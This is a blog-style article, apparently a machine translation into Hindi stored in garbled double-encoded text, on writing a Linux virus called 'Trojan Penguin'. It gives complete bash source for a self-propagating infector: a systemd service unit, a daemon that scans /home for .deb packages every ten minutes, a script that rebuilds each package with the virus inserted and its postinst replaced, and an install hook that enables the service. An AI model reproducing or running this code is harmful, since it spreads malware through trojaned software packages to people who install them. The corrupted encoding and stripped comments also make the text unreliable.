рдЯреНрд░реЛрдЬрди рдкреЗрдВрдЧреБрдЗрди: рд▓рд┐рдирдХреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд╛рдпрд░рд╕ рдмрдирд╛рдирд╛

рдирд╣реАрдВ, рдореИрдВ рдпрд╣ рдирд╣реАрдВ рдмрддрд╛рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реВрдВ рдХрд┐ рдореЗрд░реЗ рд░реИрдВрд╕рдорд╡реЗрдпрд░ рд░реИрдирд╕рдорд╡реЗрдпрд░, рдорд╛рдЗрдирд░ рдХреЛ рдХреИрд╕реЗ рд▓рд┐рдЦреЗрдВ рдпрд╛ рд╕реБрдкрд░-рдирдИ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдПрдВ, рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рд╕реЛрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдФрд░ рдЗрд╕рд╕реЗ рднреА рдЕрдзрд┐рдХ, рдореИрдВ рд╣реЛрд▓рд┐рд╡рд░ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрддреНрд╕реБрдХ рдирд╣реАрдВ рд╣реВрдВ "рдХреНрдпрд╛ рд▓рд┐рдирдХреНрд╕ рд╡рд┐рдВрдбреЛрдЬ рд╕реЗ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ? (рд╣рд╛рдВ)"ред рдореЗрд░рд╛ рд▓рдХреНрд╖реНрдп рд▓рд╛рдЗрдирдХреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╡рд╛рдпрд░рд╕ рд▓рд┐рдЦрдирд╛ рдерд╛, рдХреЛрдИ рднреА, рдЗрд╕рд▓рд┐рдП "рдЬрд╕реНрдЯ рдлрди" рдмреЛрд▓рдирд╛, рдЬрд┐рд╕рдХрд╛ рдПрдХрдорд╛рддреНрд░ рдХрд╛рд░реНрдп рдЗрд╕рдХреА рдХреЙрдкреА рд╡рд┐рддрд░рд┐рдд рдХрд░рдирд╛ рд╣реИред рдореИрдВрдиреЗ рдХреНрдпрд╛ рдХрд┐рдпрд╛, рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдмрддрд╛рдКрдВрдЧрд╛ред рдЕрдВрдд рдореЗрдВ, рдореИрдВ рд╕реНрд░реЛрдд рдХреЗ рд╕рд╛рде GitHub рдХрд╛ рд▓рд┐рдВрдХ рджреВрдВрдЧрд╛ред

рдЫрд╡рд┐

рддреНрдпрд╛рдЧ


рдпрд╣ рд▓реЗрдЦ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИред рдХрд┐рд╕реА рднреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд▓реЗрдЦрдХ рдкрд╛рдардХреЛрдВ рдХреЛ рд░реВрд╕реА рд╕рдВрдШ рдХреЗ рдХрд╛рдиреВрдиреЛрдВ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдХреГрдкрдпрд╛ рд░реВрд╕реА рд╕рдВрдШ рдХреЗ рдЖрдкрд░рд╛рдзрд┐рдХ рд╕рдВрд╣рд┐рддрд╛ рдХреЗ рдкрд╣рд▓реЗ рдЕрдзреНрдпрд╛рдп 28 рдХреЛ рдкрдврд╝реЗ рдмрд┐рдирд╛ рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рдЪрд░рдгреЛрдВ рдХреЛ рди рджреЛрд╣рд░рд╛рдПрдВред

рдФрд░ рд╣рдо рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреНрдпрд╛ рдХрд░реЗрдВрдЧреЗ?


рд╡рд╛рдпрд░рд╕ рдХреЛ рдлреИрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рддрдВрддреНрд░ рдореБрдЭреЗ рд╕рдВрд╢реЛрдзрд┐рдд рдбрд┐рдмреЗрдЯ / рдЖрд░рдкреАрдПрдо рдкреИрдХреЗрдЬ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлреИрд▓рддрд╛ рд╣реБрдЖ рд▓рдЧ рд░рд╣рд╛ рдерд╛ред рдбрд┐рдм рдФрд░ рдЖрд░рдкреАрдПрдо рдкреИрдХреЗрдЬ рдЕрдм рд▓рд┐рдирдХреНрд╕ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рд▓реЛрдХрдкреНрд░рд┐рдп рд╡рд┐рддрд░рдг рдЙрдкрдХрд░рдг рд╣реИрдВред рдореИрдВрдиреЗ рдбрд┐рдмреЗрдЯ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рдЪреБрдирд╛, рдХреНрдпреЛрдВрдХрд┐ рдбреЗрдмрд┐рдпрди-рдЖрдзрд╛рд░рд┐рдд рд╡рд┐рддрд░рдг рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ Red Hat рдФрд░ рдЗрд╕рдХреЗ "рдлрд╝реЙрд▓реЛрдЕрд░реНрд╕" рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдкрд░ рд╣реИред

рдпрд╣ рднреА рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рд╡рд╛рдпрд░рд╕ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╢реБрд░реВ рд╣реЛ, рдФрд░ рд╣рд░ рдирд┐рд╢реНрдЪрд┐рдд рдЕрд╡рдзрд┐ рдХреЗ рдмрд╛рдж рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рдбрд┐рдмреЗрдЯ рдкреИрдХреЗрдЬ рдХреА рддрд▓рд╛рд╢ рдореЗрдВ рд╕реНрдХреИрди рдХрд░рддрд╛ рд╣реИред рдбрд┐рдмрдЧрд┐рдВрдЧ рдореЗрдВ рдЖрд╕рд╛рдиреА рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ 10 рдорд┐рдирдЯ рдХреА рдЕрд╡рдзрд┐ рдЪреБрдиреАред

рдбрд┐рдмреЗрдЯ рдкреИрдХреЗрдЬ рдХреНрдпрд╛ рд╣реИ?


рдбреАрдм рдкреИрдХреЗрдЬ рдПрдХ .ar рдкреНрд░рд╛рд░реВрдк рд╕рдВрдЧреНрд░рд╣ рд╣реИ рдЬреЛ рд╕рдВрдкреАрдбрд╝рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рд╕рдВрдЧреНрд░рд╣ рдХреЗ рдЕрдВрджрд░ рддреАрди рдФрд░ рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ: рдбреЗрдмрд┐рдпрди-рдмрд╛рдпрдирд░реА , рдХрдВрдЯреНрд░реЛрд▓.рдЯрд╛рд░ рдФрд░ рдбреЗрдЯрд╛ред рдЯрд╛рд░

debian.binary - рдПрдХ рдкрд╛рда рдлрд╝рд╛рдЗрд▓ рдЬрд┐рд╕рдореЗрдВ рдбреЗрдм рдкреИрдХреЗрдЬ рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдПрдХ рд╕рдВрд╕реНрдХрд░рдг рд╣реИ, рдЗрд╕ рд╕рдордп рд╡реЗ рд╣рдореЗрд╢рд╛ "2.0" рд▓рд┐рдЦрддреЗ рд╣реИрдВред

control.tar - рдкреИрдХреЗрдЬ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдЧреНрд░рд╣ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрд╡рд╢реНрдпрдХ рдирд┐рдпрдВрддреНрд░рдг рдлрд╝рд╛рдЗрд▓) рдФрд░ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкреИрдХреЗрдЬ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреИрдХреЗрдЬ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд / рдЕрдирдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ / рдЙрд╕рдХреЗ рдмрд╛рдж рдЪрд▓рдиреЗ рд╡рд╛рд▓реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреЛрд╕реНрдЯрд╕реНрдЯреНрд░реАрдо, рдкреНрд░рд░реНрдо рдФрд░ рдкреЛрд╕реНрдЯрдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ)ред рдЗрд╕реЗ gzip рдпрд╛ xz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдкреАрдбрд╝рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдХреНрд░рдорд╢рдГ .gz рдпрд╛ .xz рдХреЛ рд╕рдВрдЧреНрд░рд╣ рдирд╛рдо рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред

data.tar - рд╕рдВрдЧреНрд░рд╣рд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рд╡рд╛рд▓реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдЧреНрд░рд╣ред рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рдПрдХ рдкреЗрдбрд╝ рджреНрд╡рд╛рд░рд╛ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдиреНрд╣реЗрдВ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдореВрд▓ рдореЗрдВ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред Gzip, bzip2, lzma, xz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдкреАрдбрд╝рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╣рдореЗрдВ control.tar рдЖрд░реНрдХрд╛рдЗрд╡ рд╕реЗ рдХрдВрдЯреНрд░реЛрд▓ рдлрд╛рдЗрд▓ рдкрд░ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИред рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкреИрдХреЗрдЬ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд▓реЗрдЦрдХ, рд╡рд┐рд╡рд░рдг, рд╕рдВрд╕реНрдХрд░рдг, рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкреИрдХреЗрдЬ рдкреНрд░рд╛рдердорд┐рдХрддрд╛, рдЖрджрд┐ред рдореИрдВ рдирд┐рд░реНрднрд░ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддрд╛ рд╣реВрдВ, рдЬреЛ рдирд┐рд░реНрднрд░рддрд╛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ (рдкреИрдХреЗрдЬ рдЬрд┐рд╕рдХреЗ рдмрд┐рдирд╛ рдпрд╣ рдЗрд╕ рдкреИрдХреЗрдЬ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИ)ред рдЗрд╕ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ, рд╣рдорд╛рд░рд╛ рд╡рд╛рдпрд░рд╕ fakeroot рдФрд░ dpkg - рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХреЛ рдЬреЛрдбрд╝ рджреЗрдЧрд╛ рдЬреЛ рдХрд┐ рд╕рдВрдХреНрд░рдорд┐рдд рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЕрдиреНрдп рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╕рдордп рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдВрдЧреЗред

рдПрдХ рдбрд┐рдмреЗрдЯ рдкреИрдХреЗрдЬ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреИрдХреЗрдЬ рдХреА рд░реВрдЯ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИред рдЗрдВрд╕реНрдЯреЙрд▓ рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдФрд░ DEBIAN рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рд╕рд╛рде рдбрд╛рдпрд░реЗрдХреНрдЯреНрд░реА рдлрд╛рдЗрд▓реЗрдВ, рдЬрд┐рд╕рдореЗрдВ рдирд┐рдпрдВрддреНрд░рдг / рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рдирд┐рдпрдВрддреНрд░рдг / рд╕реНрдерд╛рдкрдирд╛ рд╕рд╣рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдХреЛ рдЗрд╕рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИред рдлрд┐рд░ fakeroot dpkg-deb --build ./path рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ ред

рдкрд╣рд▓реЗ рдПрдХ рджрд╛рдирд╡ рдерд╛


рд╡рд╛рдпрд░рд╕ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдордп, рдореБрдЭреЗ рдЕрднреА рднреА рдПрдХ рдмреБрд░рд╛ рд╡рд┐рдЪрд╛рд░ рдерд╛ рдХрд┐ рдХреНрд░реЛрди рдХреНрдпрд╛ рдерд╛ , рдФрд░ рдЗрд╕рд▓рд┐рдП рдореИрдВ рд╕рд┐рд╕реНрдЯрдордбрд╛рдЙрди рдХреЗ рд╕рд╛рде рдЕрдкрдирд╛ рдбреЗрдореЙрди рд▓рд┐рдЦрдХрд░ рдЪрд▓рд╛ рдЧрдпрд╛ред рдореИрдВрдиреЗ рдЯреНрд░реЛрдЬрди_рдкреЗрдВрдЬрд╝рд┐рди.рд╕реЗрд╡реЗ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдИ, рдЬрд┐рд╕реЗ / lib / systemd / system рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд░рдЦрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рдЗрд╕рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬреЛрдбрд╝ рджрд┐рдП рдЬрд╛рдПрдВрдЧреЗ:

[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target 

ExecStart = / usr / bin / trojan_penguin.sh - рдпрд╣рд╛рдВ рдореИрдВрдиреЗ рдлрд╝рд╛рдЗрд▓ (рднрд╡рд┐рд╖реНрдп рдХреЗ рд╡рд╛рдпрд░рд╕ рдХреЗ рд▓рд┐рдП) рдХрд╛ рдкрде рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛, рдЬрд┐рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдкрд░ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдкреНрд░рдХрд╛рд░ = рдХрд╛рдВрдЯрд╛ - рдпрд╣ рд░реЗрдЦрд╛ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдореВрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рд╢рд╛рдЦрд╛ рдЪрд╛рд╣рд┐рдПред
рдореБрдЭреЗ рдкреАрдЖрдИрдбреА тАЛтАЛрдлрд╝рд╛рдЗрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рджрд┐рдЦреА, рдЗрд╕рд▓рд┐рдП рдореИрдВрдиреЗ рдЗрд╕реЗ рдирд╣реАрдВ рдЬреЛрдбрд╝рд╛ред
рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдбреЗрдореЙрди рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдпрдорд╛рд╡рд▓реА рдореЗрдВ .service рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ / usr / lib / systemd / system / рдпрд╛ / etc / systemd / system / рдореЗрдВ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рд╣реИред рд▓реЗрдХрд┐рди рдореЗрд░реА ubunt рдореЗрдВ рдореБрдЭреЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ / lib / systemd / system рдорд┐рд▓рд╛ред (рдореБрдЭреЗ рд╡рд╣рд╛рдБ apache2.service рдорд┐рд▓рд╛)ред рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдореЗрдВ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдпрд╣ рд▓рд┐рдЦреЗрдЧрд╛ рдХрд┐ рдпрд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд┐рд╕ рд▓рд┐рдП рд╣реИ, рдФрд░ рдпрд╣ рдЕрдиреНрдп рджреЛ рд╕реЗ рдХреИрд╕реЗ рднрд┐рдиреНрди рд╣реИред

рдлрд╝рд╛рдЗрд▓ /usr/bin/trojan_penguin.sh рдореБрдЭреЗ рдпрд╣ рдорд┐рд▓реА:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" #    ,    if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #   , #   10  while [ 1 ] do list=$(find /home -name "*.deb") # deb- #        for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log # ,  ,      log done date > $debug/var/log/trojan_penguin/last_start #     (     ) sleep 600 # (60 * 10  = 10 ) done 

рд╣рдо / рд╣реЛрдо рд╕реЗрдХреНрд╢рди рдореЗрдВ рдбрд┐рдмреЗрдЯ рдкреИрдХреЗрдЬ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ (рдЬрд╣рд╛рдВ рдореИрдВ рдЙрдиреНрд╣реЗрдВ рдвреВрдВрдв рд╕рдХрддрд╛ рд╣реВрдВ?), рдкрд╛рдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдкрде рд╕реВрдЪреА рдЪрд░ рдореЗрдВ рд▓рд┐рдЦреЗ рдЧрдП рд╣реИрдВред рдлрд┐рд░ рдмрд╕ рд▓рд╛рдЗрди рд╕реЗ рд╕рднреА рд▓рд╛рдЗрдиреЛрдВ рдкрд░ рдкреБрдирд░рд╛рд╡реГрддреНрдд рдХрд░реЗрдВ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рд╣рдо tp_infect.sh рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрдХреНрд░рдорд┐рдд рдХрд░реЗрдЧрд╛ред рдЬрдм рдореИрдВрдиреЗ рд╡рд╛рдпрд░рд╕ рд▓рд┐рдЦрд╛ рдерд╛, рддреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рдЕрд▓рдЧ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдереАрдВ, рдФрд░ рд╕реБрд╡рд┐рдзрд╛ рдХреЗ рд▓рд┐рдП рдореИрдВрдиреЗ рдПрдХ рдбреАрдмрдЧ рдЪрд░ рдмрдирд╛рдпрд╛, рдЬрд┐рд╕рдореЗрдВ рдореИрдВрдиреЗ рдЗрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХрд╛ рдкрде рд▓рд┐рдЦрд╛ред

рдбреЗрдорди рддреИрдпрд╛рд░ рд╣реИ, рдпрд╣ рд╕реАрдЦрдирд╛ рд╣реИ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ рдЗрд╕реЗ рдХреИрд╕реЗ рдЪрд▓рд╛рдирд╛ рд╣реИред рдЗрд╕рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ рдПрдХ рдмрд╛рдж рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреАред рдпрд╣ рд╕рдВрдХреНрд░рдорд┐рдд рдкреИрдХреЗрдЬ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рд╢реБрд░реВ рд╣реЛрдЧрд╛ рдФрд░ рд╕рдВрдХреЗрдд рджреЗрдЧрд╛ рдХрд┐ рд╣рдорд╛рд░рд╛ рд╡рд╛рдпрд░рд╕ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдореИрдВрдиреЗ рдЗрд╕реЗ "" / usr / bin / "рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд░рдЦрд╛ рддрд╛рдХрд┐ рдЗрд╕реЗ рд╕рдВрдХреНрд░рдорд┐рдд рдкреИрдХреЗрдЬ рдореЗрдВ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

 #!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #  ,           systemctl enable trojan_penguin.service #     systemctl start trojan_penguin.service #  

рдбрд┐рдмреЗрдЯ рдкреИрдХреЗрдЬ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛


рдЬреИрд╕рд╛ рдХрд┐ рдореИрдВрдиреЗ рдКрдкрд░ рд▓рд┐рдЦрд╛ рдерд╛, рдПрдХ рдбреЗрдм рдкреИрдХреЗрдЬ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдЕрднрд┐рд▓реЗрдЦреЛрдВ рдореЗрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдЕрдиреБрдорддрд┐рдпрд╛рдВ рд╣реЛ рд╕рдХрддреА рд╣реИрдВред рдореИрдВрдиреЗ рдкрд░реЗрд╢рд╛рди рдирд╣реАрдВ рдХрд┐рдпрд╛, рдФрд░ рдХреЗрд╡рд▓ рдорд╛рдорд▓реЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрдм рдЕрднрд┐рд▓реЗрдЦрд╛рдЧрд╛рд░ .xz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдВрдХреБрдЪрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред /Usr/bin/tp_infect.sh рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рдВрд╢реЛрдзрди рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд╛рдкреНрдд рдХреА:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #   mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #  ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ # control #  control     "Deepends",    "Deepends",   ,     . cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #     ,    if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #   cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ # ,        ,    . fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp 

рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рдмрд╛рдж рдХреА рд╕рдорд╕реНрдпрд╛рдПрдВ


рд╕рдмрдХреБрдЫ рдареАрдХ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдЕрдм рд╣рдореЗрдВ рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рд╣реЛрдЧрд╛ рдЕрдЧрд░ рдкреИрдХреЗрдЬ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреЛрд╕реНрдЯрд╕реНрдЯреИрдирд▓ рд╣реИ? рдореВрд▓ postinstal рдХреЛ рд╡рд┐рднрд┐рдиреНрди рднрд╛рд╖рд╛рдУрдВ (рдЕрдЬрдЧрд░, рдмрд╛рд╢ ...) рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╢рд╛рдпрдж рдпрд╣ рдПрдХ рджреНрд╡рд┐рдЖрдзрд╛рд░реА рднреА рд╣реИред рдпрд╣ рд╣рдореЗрдВ рдХреЗрд╡рд▓ рдЗрд╕рдХреЗ рдмрд╛рдж рдХреА рд╕реНрдерд╛рдкрдирд╛ рд░рджреНрдж рдХрд░рдиреЗ рдФрд░ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрдЧрд╛ред рдореИрдВрдиреЗ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣рд▓ рдХрд┐рдпрд╛:

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪреАрдЬрд╝ рдХреЛ tp_infect.sh рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛:

 #,     postinstal.  ,      . if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi 

рдФрд░ рдкреЛрд╕реНрдЯрд╕реНрдЯреАрдирд▓ рдореЗрдВ , рдпрд╣ рд╣реИ:

 #      if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi 

